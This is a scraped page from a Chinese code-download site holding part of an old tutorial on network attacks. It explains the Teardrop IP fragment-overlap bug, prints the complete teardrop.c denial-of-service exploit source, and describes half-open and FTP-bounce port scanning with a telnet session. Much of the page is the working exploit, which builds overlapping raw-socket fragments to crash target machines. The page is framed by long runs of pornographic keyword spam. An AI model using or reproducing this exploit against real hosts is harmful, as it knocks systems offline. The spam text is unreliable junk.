亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? 22.txt

?? 測(cè)試Win95的機(jī)器是否存在的一個(gè)SYN漏洞
?? TXT
?? 第 1 頁(yè) / 共 2 頁(yè)
字號(hào):
}  

unsigned short in_chksum (u_short *addr, int len)  
{  
   register int nleft = len;  
   register int sum = 0;  
   u_short answer = 0;  

   while (nleft > 1) {  
      sum += *addr++;  
      nleft -= 2;  
   }  

   if (nleft == 1) {  
      *(u_char *)(&answer) = *(u_char *)addr;  
      sum += answer;  
   }  

   sum = (sum >> 16) + (sum + 0xffff);  
   sum += (sum >> 16);  
   answer = ~sum;  
   return(answer);  
}  



3 Teardrop  

    在Linux的ip包重組過(guò)程中有一個(gè)嚴(yán)重的漏洞。  
      
    在ip_glue()中:  

在循環(huán)中重組ip包:  
        fp = qp->fragments;  
        while(fp != NULL)  
        {  
                if(count+fp->len > skb->len)  
                {  
                    error_to_big;  
                }  
                memcpy((ptr + fp->offset), fp->ptr, fp->len);  
                count += fp->len;  
                fp = fp->next;  
        }  
這里只檢查了長(zhǎng)度過(guò)大的情況,而沒(méi)有考慮長(zhǎng)度過(guò)小的情況,  
如 fp->len<0 時(shí),也會(huì)使內(nèi)核拷貝過(guò)多的東西。  

計(jì)算分片的結(jié)束位置:  
        end = offset + ntohs(iph->tot_len) - ihl;  

當(dāng)發(fā)現(xiàn)當(dāng)前包的偏移已經(jīng)在上一個(gè)包的中間時(shí)(即兩個(gè)包是重疊的)  
是這樣處理的:  
        if (prev != NULL && offset < prev->end)  
        {  
                i = prev->end - offset;  
                offset += i;    /* ptr into datagram */  
                ptr += i;       /* ptr into fragment data */  
        }  

        /* Fill in the structure. */  
        fp->offset = offset;  
        fp->end = end;  
        fp->len = end - offset; //fp->len是一個(gè)有符號(hào)整數(shù)  

舉個(gè)例子來(lái)說(shuō)明這個(gè)漏洞:  
第一個(gè)碎片:mf=1 offset=0   payload=20  
敵二個(gè)碎片:mf=0 offset=10 payload=9  

這樣第一個(gè)碎片的 end=0+20   
 offset=0  
這樣第二個(gè)碎片的 end=9+10=19  
 offset=offset+(20-offset)=20  
     fp-〉len=19-20=-1;  

那么memcpy將拷貝過(guò)多的數(shù)據(jù)導(dǎo)致崩潰。  

      
/*  
 *  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97  
 *  
 *  Linux/NT/95 Overlap frag bug exploit  
 *  
 *  Exploits the overlapping IP fragment bug present in all Linux kernels and  
 *  NT 4.0 / Windows 95 (others?)  
 *  
 *  Based off of:   flip.c by klepto  
 *  Compiles on:    Linux, *BSD*  
 *  
 *  gcc -O2 teardrop.c -o teardrop  
 *      OR  
 *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING  
 */  

#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <netdb.h>  
#include <netinet/in.h>  
#include <netinet/udp.h>  
#include <arpa/inet.h>  
#include <sys/types.h>  
#include <sys/time.h>  
#include <sys/socket.h>  

#ifdef STRANGE_BSD_BYTE_ORDERING_THING  
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */  
#define FIX(n)  (n)  
#else                   /* OpenBSD 2.1, all Linux */  
#define FIX(n)  htons(n)  
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */  

#define IP_MF   0x2000  /* More IP fragment en route */  
#define IPH     0x14    /* IP header size */  
#define UDPH    0x8     /* UDP header size */  
#define PADDING 0x1c    /* datagram frame padding for first packet */  
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */  
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can  
                         * withstand maybe 5 or 10 sometimes...  Experiment.  
                         */  

void usage(u_char *);  
u_long name_resolve(u_char *);  
u_short in_cksum(u_short *, int);  
void send_frags(int, u_long, u_long, u_short, u_short);  

int main(int argc, char **argv)  
{  
    int one = 1,   
count = 0,   
i,   
rip_sock;  
    u_long  src_ip = 0, dst_ip = 0;  
    u_short src_prt = 0, dst_prt = 0;  
    struct in_addr addr;  

    fprintf(stderr, "teardrop   route|daemon9\n\n");  

//建SOCK_RAW  
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)  
    {  
        perror("raw socket");  
        exit(1);  
    }  
//由系統(tǒng)處理IP校驗(yàn)和。  
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))  
        < 0)  
    {  
        perror("IP_HDRINCL");  
        exit(1);  
    }  

    if (argc < 3) usage(argv[0]);  
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))  
    {  
        fprintf(stderr, "What the hell kind of IP address is that?\n");  
        exit(1);  
    }  

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)  
    {  
        switch (i)  
        {  
            case 's':               /* source port (should be emphemeral) */  
                src_prt = (u_short)atoi(optarg);  
                break;  
            case 't':               /* dest port (DNS, anyone?) */  
                dst_prt = (u_short)atoi(optarg);  
                break;  
            case 'n':               /* number to send */  
                count   = atoi(optarg);  
                break;  
            default :  
                usage(argv[0]);  
                break;              /* NOTREACHED */  
        }  
    }  

    srandom((unsigned)(time((time_t)0)));  
    if (!src_prt) src_prt = (random() % 0xffff);  
    if (!dst_prt) dst_prt = (random() % 0xffff);  
    if (!count)   count   = COUNT;  

    fprintf(stderr, "Death on flaxen wings:\n");  
    addr.s_addr = src_ip;  
    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);  
    addr.s_addr = dst_ip;  
    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);  
    fprintf(stderr, " Amt: %5d\n", count);  
    fprintf(stderr, "[ ");  

    for (i = 0; i < count; i++)  
    {  
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);  
        fprintf(stderr, "b00m ");  
        usleep(500);  
    }  
    fprintf(stderr, "]\n");  
    return (0);  
}  

/*  
 *  Send two IP fragments with pathological offsets.  We use an implementation  
 *  independent way of assembling network packets that does not rely on any of  
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).  
 */  

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,  
                u_short dst_prt)  
{  
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */  
    u_char byte;                            /* a byte */  
    struct sockaddr_in sin;                 /* socket protocol structure */  

    sin.sin_family      = AF_INET;  
    sin.sin_port        = src_prt;  
    sin.sin_addr.s_addr = dst_ip;  

    /*  
     * Grab some memory for our packet, align p_ptr to point at the beginning  
     * of our packet, and then fill it with zeros.  
     */  
    packet = (u_char *)malloc(IPH + UDPH + PADDING);  
    p_ptr  = packet;  
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);  

    byte = 0x45;                        /* IP version and header length */  
    memcpy(p_ptr, &byte, sizeof(u_char));  
    p_ptr += 2;                         /* IP TOS (skipped) */  
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */  
    p_ptr += 2;  
    *((u_short *)p_ptr) = htons(242);   /* IP id */  
    p_ptr += 2;  
    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */  
    p_ptr += 2;  
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */  
    byte = IPPROTO_UDP;  
    memcpy(p_ptr + 1, &byte, sizeof(u_char));  
    p_ptr += 4;                         /* IP checksum filled in by kernel */  
    *((u_long *)p_ptr) = src_ip;        /* IP source address */  
    p_ptr += 4;  
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */  
    p_ptr += 4;  
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */  
    p_ptr += 2;  
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */  
    p_ptr += 2;  
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */  

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,  
                sizeof(struct sockaddr)) == -1)  
    {  
        perror("\nsendto");  
        free(packet);  
        exit(1);  
    }  

    /*  We set the fragment offset to be inside of the previous packet's  
     *  payload (it overlaps inside the previous packet) but do not include  
     *  enough payload to cover complete the datagram.  Just the header will  
     *  do, but to crash NT/95 machines, a bit larger of packet seems to work  
     *  better.  
     */  
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */  
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);  
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */  
    *((u_short *)p_ptr) = FIX(MAGIC);  

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,  
                sizeof(struct sockaddr)) == -1)  
    {  
        perror("\nsendto");  
        free(packet);  
        exit(1);  
    }  
    free(packet);  
}  

u_long name_resolve(u_char *host_name)  
{  
    struct in_addr addr;  
    struct hostent *host_ent;  

    if ((addr.s_addr = inet_addr(host_name)) == -1)  
    {  
        if (!(host_ent = gethostbyname(host_name))) return (0);  
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);  
    }  
    return (addr.s_addr);  
}  

void usage(u_char *name)  
{  
    fprintf(stderr,  
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",  
            name);  
    exit(0);  
}  


4 Portscan 和  Antiportscan  

Portscan的兩種主要方法:  
(1) Half-open(半打開)  
利用下面特性:但一個(gè)主機(jī)收到向某個(gè)端口(TCP)發(fā)出的(SYN),  
如果在這個(gè)端口有服務(wù),那么返回(SYN+ASK),不然返回(RST)。  

(2) FTP scanner  
利用了FTP的port命令,例如可以這樣作:  
選擇一個(gè)FTP服務(wù)器,連上后令port命令指向目標(biāo)機(jī),如果返回  
值是正確的,那么目標(biāo)機(jī)的該端口是有服務(wù)的,如返回打開端口錯(cuò)誤則  
該端口無(wú)服務(wù)。  
telnet 192.168.1.13  21  
Trying 192.168.1.13...  
Connected to pp.bricks.org.  
Escape character is '^]'.  
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)   
Thu May 7 23:18:05 EDT 1998) ready.  

user anonymous  
331 Guest login ok, send your complete e-mail address as password.  
pass aa@aa.aa  
230 Guest login ok, access restrictions apply.  
port a,b,c,d,p1,p2 // a.b.c.d是要探測(cè)的目標(biāo) p1 p2是目的端口  

150 Opening ASCII mode data connection for file list.  
425 Can't build data connection: Connection refused.  
//該端口未活動(dòng)  
150 Opening ASCII mode data connection for file list.  
226 Transfer complete.  
//該端口活動(dòng)中  
但有些FTP服務(wù)器禁止你將數(shù)據(jù)連接影響其他地址,那就沒(méi)辦法了。  

上述兩種方法是通用的,而針對(duì)個(gè)別系統(tǒng)有一些特殊方法。  

如一些系統(tǒng)受到包后會(huì)作如下處理:  

    標(biāo)志        活動(dòng)的端口的應(yīng)答       不活動(dòng)端口的應(yīng)答                

    SYN         SYN|ACK                 RST 或 Nothing  
    SYN|FIN     ACK or SYN|ACK*         RST  
    ACK         Nothing                 RST  
    0 flag      Nothing                 RST  

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日本视频中文字幕一区二区三区| 亚洲国产综合人成综合网站| 亚洲一区二区三区四区在线免费观看 | 欧美性淫爽ww久久久久无| 欧美tickling网站挠脚心| 一区二区三区四区中文字幕| 国产成人高清视频| 日韩欧美国产综合| 亚洲欧美在线另类| 欧美一区二区三区视频在线| 亚洲免费观看高清完整| 不卡一区中文字幕| 一级女性全黄久久生活片免费| 一本大道久久a久久精二百| 亚洲第一搞黄网站| 国产亚洲美州欧州综合国| 亚洲一二三级电影| 在线观看一区日韩| 亚洲成人动漫精品| 欧美视频一区二区三区在线观看| 亚洲激情六月丁香| 国产精品素人一区二区| 丝袜美腿亚洲一区二区图片| 男男gaygay亚洲| 欧美日韩国产精品成人| 一区二区久久久久久| av一区二区三区四区| 国产精品私人影院| 国产成人一区二区精品非洲| 精品国产伦一区二区三区观看体验| 午夜电影久久久| 亚洲综合激情小说| 在线播放日韩导航| 韩国欧美一区二区| 91精品婷婷国产综合久久竹菊| 亚洲国产高清aⅴ视频| 粉嫩高潮美女一区二区三区| 国产午夜精品福利| 成人激情黄色小说| 伊人开心综合网| 4438成人网| 国产98色在线|日韩| 国产亚洲欧美中文| 久久aⅴ国产欧美74aaa| 欧美电影一区二区| 日本va欧美va精品| 欧美国产一区二区| 精品动漫一区二区三区在线观看| 日韩电影网1区2区| 在线不卡免费欧美| 亚洲欧美日韩国产一区二区三区| 免费的成人av| 在线成人高清不卡| 亚洲国产视频在线| 欧美一区二区性放荡片| 丰满放荡岳乱妇91ww| 亚洲国产精品久久不卡毛片| 久久久久综合网| 日韩美女视频一区二区在线观看| av高清久久久| 国产一区二区三区在线观看精品 | 国产女人aaa级久久久级 | 亚洲成人手机在线| 欧美日韩不卡在线| 免费不卡在线视频| 久久亚洲春色中文字幕久久久| 国产成人免费视| 国产美女在线观看一区| 国产日韩欧美电影| 91亚洲大成网污www| 图片区小说区区亚洲影院| 日韩精品专区在线影院观看| 国产精品一区二区果冻传媒| 国产精品美女www爽爽爽| 91行情网站电视在线观看高清版| 首页国产欧美日韩丝袜| 久久日韩粉嫩一区二区三区| 99国产精品国产精品毛片| 亚洲午夜激情av| 久久亚区不卡日本| 色婷婷综合五月| 久草在线在线精品观看| 中文字幕在线不卡一区二区三区| 欧美日韩在线播放三区四区| 国产真实乱对白精彩久久| 国产精品―色哟哟| 欧美亚洲国产一区二区三区| 久久精品国产精品亚洲红杏| 国产精品美女久久久久久久网站| 欧美日韩在线免费视频| 激情深爱一区二区| 亚洲欧美日韩综合aⅴ视频| 日韩欧美一区二区在线视频| 成人app在线观看| 蜜臀精品一区二区三区在线观看 | 精品卡一卡二卡三卡四在线| 不卡一区二区在线| 免费观看91视频大全| 国产精品福利影院| 日韩欧美亚洲另类制服综合在线| www.亚洲色图| 捆绑紧缚一区二区三区视频| 国产日韩欧美不卡| 日韩亚洲欧美中文三级| 91同城在线观看| 黑人巨大精品欧美一区| 亚洲高清久久久| 中文字幕一区二区在线播放| 日韩一二三区不卡| 91久久精品一区二区三区| 国产一区二区三区日韩| 午夜精品福利一区二区三区av | 91精品欧美综合在线观看最新| 成人av先锋影音| 久久国产精品色| 亚洲国产日韩在线一区模特| 日本一区二区视频在线| 亚洲综合视频在线| 国产亚洲成aⅴ人片在线观看| 欧美日韩国产一级二级| 91在线视频播放| 国产经典欧美精品| 麻豆精品一区二区综合av| 一区二区三区在线观看动漫| 中文字幕欧美激情一区| 日韩午夜电影av| 欧美日韩国产一级片| 色综合天天综合在线视频| 一卡二卡三卡日韩欧美| 国产精品综合在线视频| 在线观看视频一区二区欧美日韩| www日韩大片| 日韩av一区二区三区| 久久色中文字幕| 亚洲国产成人高清精品| 91美女在线视频| 首页国产欧美久久| 亚洲欧洲一区二区在线播放| 成人少妇影院yyyy| 久久99精品国产91久久来源| 日本午夜精品一区二区三区电影| 一级做a爱片久久| 综合自拍亚洲综合图不卡区| 国产精品亲子伦对白| 久久精品视频在线免费观看| 精品久久久久一区| 日韩欧美色综合| 日韩欧美一区二区免费| 欧美一级xxx| 欧美一区二区三区影视| 56国语精品自产拍在线观看| 欧美日韩成人在线一区| 精品婷婷伊人一区三区三| 欧美视频一区二区三区四区 | 一区二区在线观看av| 亚洲欧洲韩国日本视频| 中文字幕在线观看不卡视频| 国产精品国产a级| 亚洲同性同志一二三专区| 国产精品国产三级国产aⅴ无密码 国产精品国产三级国产aⅴ原创 | 欧美成人一区二区三区| 男男视频亚洲欧美| 亚洲欧洲日本在线| 欧美不卡一二三| 国产精品综合久久| 亚洲在线中文字幕| 欧美一区二区人人喊爽| 国产精品亚洲а∨天堂免在线| 国产午夜精品福利| 色av成人天堂桃色av| 日精品一区二区三区| 久久日韩粉嫩一区二区三区| 国产成人av电影免费在线观看| 337p日本欧洲亚洲大胆色噜噜| 91欧美一区二区| 91久久久免费一区二区| 欧美日韩国产在线观看| 337p亚洲精品色噜噜| 欧美成人免费网站| 久久精品视频一区二区三区| 欧美激情在线一区二区三区| 亚洲三级电影网站| 亚洲香肠在线观看| 久久国产精品99精品国产| 国产乱一区二区| 91在线porny国产在线看| 欧美系列在线观看| 欧美一区国产二区| 国产日产亚洲精品系列| 亚洲天堂2014| 秋霞av亚洲一区二区三| 国产一区二三区| 99精品热视频| 欧美精选在线播放| 久久这里都是精品| 亚洲精选视频免费看| 日本美女视频一区二区| 成人性生交大片免费看在线播放| 日本高清不卡aⅴ免费网站| 正在播放亚洲一区|